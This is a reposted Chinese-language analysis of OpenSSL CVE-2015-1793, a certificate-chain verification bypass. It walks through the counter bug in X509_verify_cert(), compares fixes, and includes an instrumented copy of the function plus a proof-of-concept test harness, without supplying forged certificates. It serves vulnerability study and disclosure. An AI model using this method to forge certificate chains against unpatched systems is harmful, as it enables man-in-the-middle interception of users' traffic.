转载

OpenSSL-CVE-2015-1793漏洞分析

前言

OpenSSL 官方在 7 9 日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了 OpenSSL 1.0.1 1.0.2 分支。 1.0.0 0.9.8 分支不受影响。

360 安全研究员 au2o3t 对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。

1. 漏洞基本原理

直接看最简单的利用方法(利用方法包括但不限于此):

攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。

显然用户对 V, R 链的验证会返回失败。

对不支持交叉链认证的老版本来说,验证过程将以失败结束。

对支持交叉认证的版本,则将会尝试构建交叉链 V, X, C,并继续进行验证。

虽然 V, X, C 链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。

但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。

2. 具体漏洞分析

漏洞代码位于文件:openssl-1.0.2c/crypto/x509/x509_vfy.c

函数:X509_verify_cert() 中

第 392 行:“ctx->last_untrusted–;”

对问题函数 X509_verify_cert 的简单分析:

( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)

问题在于由 <1> 处加入颁发者时及 <2> 处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加,

而在 <4> 处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。

(上述 V, X, C 链中应验 V, X 但少验了 X)

代码分析如下,

?
int   X509_verify_cert(X509_STORE_CTX *ctx)
{
   // 将 ctx->cert 做为不信任证书压入需验证链  ctx->chain
   // STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
   sk_X509_push(ctx->chain,ctx->cert); 
   // 当前链长度(==1)
   num = sk_X509_num(ctx->chain);
    // 取出第 num 个证书
   x = sk_X509_value(ctx->chain, num - 1);
    // 存在不信任链则复制之
   if   (ctx->untrusted != NULL
     && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
     X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
      goto   end;
   }
    // 预设定的最大链深度(100)
   depth = param->depth;
   // 构造需验证证书链
   for   (;;) {
     // 超长退出
     if   (depth < num)
       break ;
     // 遇自签退出(链顶)
     if   (cert_self_signed(x))
       break ;
      if   (ctx->untrusted != NULL) {
       xtmp = find_issuer(ctx, sktmp, x);
       // 当前证书为不信任颁发者(应需CA标志)颁发
       if   (xtmp != NULL) {
         // 则加入需验证链
         if   (!sk_X509_push(ctx->chain, xtmp)) {
           X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
           goto   end;
         }
         CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
         ( void )sk_X509_delete_ptr(sktmp, xtmp);
         // 最后一个不可信证书位置计数 自增1
         ctx->last_untrusted++;
         x = xtmp;
         num++;
         continue ;
       }
     }
     break ;
   }
   do   {
     i = sk_X509_num(ctx->chain);
     x = sk_X509_value(ctx->chain, i - 1);
     // 若最顶证书是自签的
     if   (cert_self_signed(x)) {
       // 若需验证链长度 == 1
       if   (sk_X509_num(ctx->chain) == 1) {
         // 在可信链中查找其颁发者(找自己)
         ok = ctx->get_issuer(&xtmp, ctx, x);
       
         // 没找到或不是相同证书
         if   ((ok <= 0) || X509_cmp(x, xtmp)) {
           ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
           ctx->current_cert = x;
           ctx->error_depth = i - 1;
           if   (ok == 1)
             X509_free(xtmp);
           bad_chain = 1;
           ok = cb(0, ctx);
           if   (!ok)
             goto   end;
         // 找到
         else   {
           X509_free(x);
           x = xtmp;
           // 入到可信链
           ( void )sk_X509_set(ctx->chain, i - 1, x);
           // 最后一个不可信证书位置计数 置0
           ctx->last_untrusted = 0;
         }
       // 最顶为自签证书 且 证书链长度>1
       else   {
         // 弹出
         chain_ss = sk_X509_pop(ctx->chain);
         // 最后一个不可信证书位置计数 自减
         ctx->last_untrusted--;
         num--;
         j--;
         // 保持指向当前最顶证书
         x = sk_X509_value(ctx->chain, num - 1);
       }
     }
     // <1>
     // 继续构造证书链(加入颁发者)
     for   (;;) {
       // 自签退出
       if   (cert_self_signed(x))
         break ;
       // 在可信链中查找其颁发者
       ok = ctx->get_issuer(&xtmp, ctx, x);
       // 出错
       if   (ok < 0)
         return   ok;
       // 没找到
       if   (ok == 0)
          break ;
       x = xtmp;
       // 将不可信证书的颁发者(证书)加入需验证证书链
       if   (!sk_X509_push(ctx->chain, x)) {
         X509_free(xtmp);
         X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
         return   0;
       }
       num++;
     }
     // <2>
     // 验证 for(;;) 中加入的颁发者链
     i = check_trust(ctx);
     if   (i == X509_TRUST_REJECTED)
       goto   end;
     retry = 0;
      // <3>
     // 检查交叉链
     if   (i != X509_TRUST_TRUSTED
       && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
       && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
       while   (j-- > 1) {
         xtmp2 = sk_X509_value(ctx->chain, j - 1);
          // 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
         ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
         if   (ok < 0)
           goto   end;
         // 存在交叉链
         if   (ok > 0) {
           X509_free(xtmp);
 
           // 去除交叉链以上部分
           while   (num > j) {
             xtmp = sk_X509_pop(ctx->chain);
             X509_free(xtmp);
             num--;
             // <4>
             // 问题所在
             ctx->last_untrusted--;
           }
           // <5>
           retry = 1;
           break ;
         }
       }
     }
   while   (retry);
   ……
}   

官方的解决方法是在 <5> 处重新计算 最后一个不可信证书位置计数 的值为链长:

ctx->last_untrusted = sk_X509_num(ctx->chain);

并去掉 <4> 处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。

另一个解决办法可以是在 <1> <2> 后,在 <3> 处重置 最后一个不可信证书位置计数,加一行:

ctx->last_untrusted = num;

这样 <4> 处不用删除,而逻辑也是合理并前后一致的。

3. 漏洞验证

笔者修改了部分代码并做了个 Poc

修改代码:

?
int   X509_verify_cert(X509_STORE_CTX *ctx)
{
   X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
   int   bad_chain = 0;
   X509_VERIFY_PARAM *param = ctx->param;
   int   depth, i, ok = 0;
   int   num, j, retry;
   int   (*cb) ( int   xok, X509_STORE_CTX *xctx);
   STACK_OF(X509) *sktmp = NULL;
   if   (ctx->cert == NULL) {
     X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
     return   -1;
   }
 
   cb = ctx->verify_cb;
 
   /*
    * first we make sure the chain we are going to build is present and that
    * the first entry is in place
    */
   if   (ctx->chain == NULL) {
     if   (((ctx->chain = sk_X509_new_null()) == NULL) ||
       (!sk_X509_push(ctx->chain, ctx->cert))) {
       X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
       goto   end;
     }
     CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
     ctx->last_untrusted = 1;
   }
 
   /* We use a temporary STACK so we can chop and hack at it */
   if   (ctx->untrusted != NULL
     && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
     X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
     goto   end;
   }
 
   num = sk_X509_num(ctx->chain);
   x = sk_X509_value(ctx->chain, num - 1);
   depth = param->depth;
 
   for   (;;) {
     /* If we have enough, we break */
     if   (depth < num)
       break ;               /* FIXME: If this happens, we should take
                  * note of it and, if appropriate, use the
                  * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                  * later. */
 
     /* If we are self signed, we break */
     if   (cert_self_signed(x))
       break ;
 
     /*
      * If asked see if we can find issuer in trusted store first
      */
     if   (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
       ok = ctx->get_issuer(&xtmp, ctx, x);
       if   (ok < 0)
         return   ok;
       /*
        * If successful for now free up cert so it will be picked up
        * again later.
        */
       if   (ok > 0) {
         X509_free(xtmp);
         break ;
       }
     }
 
     /* If we were passed a cert chain, use it first */
     if   (ctx->untrusted != NULL) {
       xtmp = find_issuer(ctx, sktmp, x);
       if   (xtmp != NULL) {
         if   (!sk_X509_push(ctx->chain, xtmp)) {
           X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
           goto   end;
         }
         CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
         ( void )sk_X509_delete_ptr(sktmp, xtmp);
         ctx->last_untrusted++;
         x = xtmp;
         num++;
         /*
          * reparse the full chain for the next one
          */
         continue ;
       }
     }
     break ;
   }
 
   /* Remember how many untrusted certs we have */
   j = num;
   /*
    * at this point, chain should contain a list of untrusted certificates.
    * We now need to add at least one trusted one, if possible, otherwise we
    * complain.
    */
 
   do   {
     /*
      * Examine last certificate in chain and see if it is self signed.
      */
     i = sk_X509_num(ctx->chain);
     x = sk_X509_value(ctx->chain, i - 1);
     if   (cert_self_signed(x)) {
       /* we have a self signed certificate */
       if   (sk_X509_num(ctx->chain) == 1) {
         /*
          * We have a single self signed certificate: see if we can
          * find it in the store. We must have an exact match to avoid
          * possible impersonation.
          */
         ok = ctx->get_issuer(&xtmp, ctx, x);
         if   ((ok <= 0) || X509_cmp(x, xtmp)) {
           ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
           ctx->current_cert = x;
           ctx->error_depth = i - 1;
           if   (ok == 1)
             X509_free(xtmp);
           bad_chain = 1;
           ok = cb(0, ctx);
           if   (!ok)
             goto   end;
         else   {
           /*
            * We have a match: replace certificate with store
            * version so we get any trust settings.
            */
           X509_free(x);
           x = xtmp;
           ( void )sk_X509_set(ctx->chain, i - 1, x);
           ctx->last_untrusted = 0;
         }
       else   {
         /*
          * extract and save self signed certificate for later use
          */
         chain_ss = sk_X509_pop(ctx->chain);
         ctx->last_untrusted--;
         num--;
         j--;
         x = sk_X509_value(ctx->chain, num - 1);
       }
     }
     /* We now lookup certs from the certificate store */
     for   (;;) {
       /* If we have enough, we break */
       if   (depth < num)
         break ;
       /* If we are self signed, we break */
       if   (cert_self_signed(x))
         break ;
       ok = ctx->get_issuer(&xtmp, ctx, x);
 
       if   (ok < 0)
         return   ok;
       if   (ok == 0)
         break ;
       x = xtmp;
       if   (!sk_X509_push(ctx->chain, x)) {
         X509_free(xtmp);
         X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
         return   0;
       }
       num++;
     }
 
     /* we now have our chain, lets check it... */
     i = check_trust(ctx);
 
     /* If explicitly rejected error */
     if   (i == X509_TRUST_REJECTED)
       goto   end;
          
     /*
      * If it's not explicitly trusted then check if there is an alternative
      * chain that could be used. We only do this if we haven't already
      * checked via TRUSTED_FIRST and the user hasn't switched off alternate
      * chain checking
      */
     retry = 0;
// <1> //ctx->last_untrusted = num;                
     if   (i != X509_TRUST_TRUSTED
       && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
       && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
       while   (j-- > 1) {
         xtmp2 = sk_X509_value(ctx->chain, j - 1);
         ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
         if   (ok < 0)
           goto   end;
         /* Check if we found an alternate chain */
         if   (ok > 0) {
           /*
            * Free up the found cert we'll add it again later
            */
           X509_free(xtmp);
 
           /*
            * Dump all the certs above this point - we've found an
            * alternate chain
            */
           while   (num > j) {
             xtmp = sk_X509_pop(ctx->chain);
             X509_free(xtmp);
             num--;
             ctx->last_untrusted--;
           }
           retry = 1;
           break ;
         }
       }
     }
   while   (retry);
 
printf ( " num=%d, real-num=%d/n" , ctx->last_untrusted, sk_X509_num(ctx->chain) );
   /*
    * If not explicitly trusted then indicate error unless it's a single
    * self signed certificate in which case we've indicated an error already
    * and set bad_chain == 1
    */
   
   if   (i != X509_TRUST_TRUSTED && !bad_chain) {
     if   ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
       if   (ctx->last_untrusted >= num)
         ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
       else
         ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
       ctx->current_cert = x;
     else   {
       sk_X509_push(ctx->chain, chain_ss);
       num++;
       ctx->last_untrusted = num;
       ctx->current_cert = chain_ss;
       ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
       chain_ss = NULL;
     }
 
     ctx->error_depth = num - 1;
     bad_chain = 1;
     ok = cb(0, ctx);
     if   (!ok)
       goto   end;
   }
printf ( "flag=1/n" );
   /* We have the chain complete: now we need to check its purpose */
   ok = check_chain_extensions(ctx);
 
   if   (!ok)
     goto   end;
 
printf ( "flag=2/n" );
   /* Check name constraints */
 
   ok = check_name_constraints(ctx);
 
   if   (!ok)
     goto   end;
printf ( "flag=3/n" );
   ok = check_id(ctx);
 
   if   (!ok)
     goto   end;
printf ( "flag=4/n" );
   /* We may as well copy down any DSA parameters that are required */
   X509_get_pubkey_parameters(NULL, ctx->chain);
 
   /*
    * Check revocation status: we do this after copying parameters because
    * they may be needed for CRL signature verification.
    */
 
   ok = ctx->check_revocation(ctx);
   if   (!ok)
     goto   end;
printf ( "flag=5/n" );
   i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
                 ctx->param->flags);
   if   (i != X509_V_OK) {
     ctx->error = i;
     ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
     ok = cb(0, ctx);
     if   (!ok)
       goto   end;
   }
printf ( "flag=6/n" );
   /* At this point, we have a chain and need to verify it */
   if   (ctx->verify != NULL)
     ok = ctx->verify(ctx);
   else
     ok = internal_verify(ctx);
   if   (!ok)
     goto   end;
printf ( "flag=7/n" );
#ifndef OPENSSL_NO_RFC3779
   /* RFC 3779 path validation, now that CRL check has been done */
   ok = v3_asid_validate_path(ctx);
   if   (!ok)
     goto   end;
   ok = v3_addr_validate_path(ctx);
   if   (!ok)
     goto   end;
#endif  
printf ( "flag=8/n" );
   /* If we get this far evaluate policies */
   if   (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
     ok = ctx->check_policy(ctx);
   if   (!ok)
     goto   end;
   if   (0) {
  end:
     X509_get_pubkey_parameters(NULL, ctx->chain);
   }
   if   (sktmp != NULL)
     sk_X509_free(sktmp);
   if   (chain_ss != NULL)
     X509_free(chain_ss);
printf ( "ok=%d/n" , ok );        
   return   ok;
}

ssssss

Poc:

?
// //里头的证书文件自己去找一个,这个不提供了 // #include <stdio.h> #include <openssl/crypto.h> #include <openssl/bio.h> #include <openssl/x509.h> #include <openssl/pem.h>    
STACK_OF(X509) *load_certs_from_file( const   char   *file)
{
   STACK_OF(X509) *certs;
   BIO *bio;
   X509 *x;
   bio = BIO_new_file( file,  "r" );
   certs = sk_X509_new_null();
   do
   {
     x = PEM_read_bio_X509(bio, NULL, 0, NULL);
     sk_X509_push(certs, x);
   } while ( x != NULL );
  
   return   certs;
}    
void   test( void )
{
   X509 *x = NULL;
   STACK_OF(X509) *untrusted = NULL;
   BIO *bio = NULL;
   X509_STORE_CTX *sctx = NULL;
   X509_STORE *store = NULL;
   X509_LOOKUP *lookup = NULL;
  
   store = X509_STORE_new();
   lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
   X509_LOOKUP_load_file(lookup,  "roots.pem" , X509_FILETYPE_PEM);
   untrusted = load_certs_from_file( "untrusted.pem" );
   bio = BIO_new_file( "bad.pem" "r" );
   x = PEM_read_bio_X509(bio, NULL, 0, NULL);
   sctx = X509_STORE_CTX_new();
   X509_STORE_CTX_init(sctx, store, x, untrusted);
   X509_verify_cert(sctx);
}  
int   main( void )
{
   test();
   return   0;
}

将代码中 X509_verify_cert() 函数加入输出信息如下:

编译,以伪造证书测试,程序输出信息为:

num=1, real-num=3

flag=1

flag=2

flag=3

flag=4

flag=5

flag=6

flag=7

flag=8

ok=1

认证成功

将 <1> 处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:

num=3, real-num=3

flag=1

ok=0

认证失败

4. 安全建议

建议使用受影响版本( OpenSSL 1.0.2b/1.0.2c OpenSSL 1.0.1n/1.0.1o )的 产品或代码升级 OpenSSL 到最新版本

正文到此结束
Loading...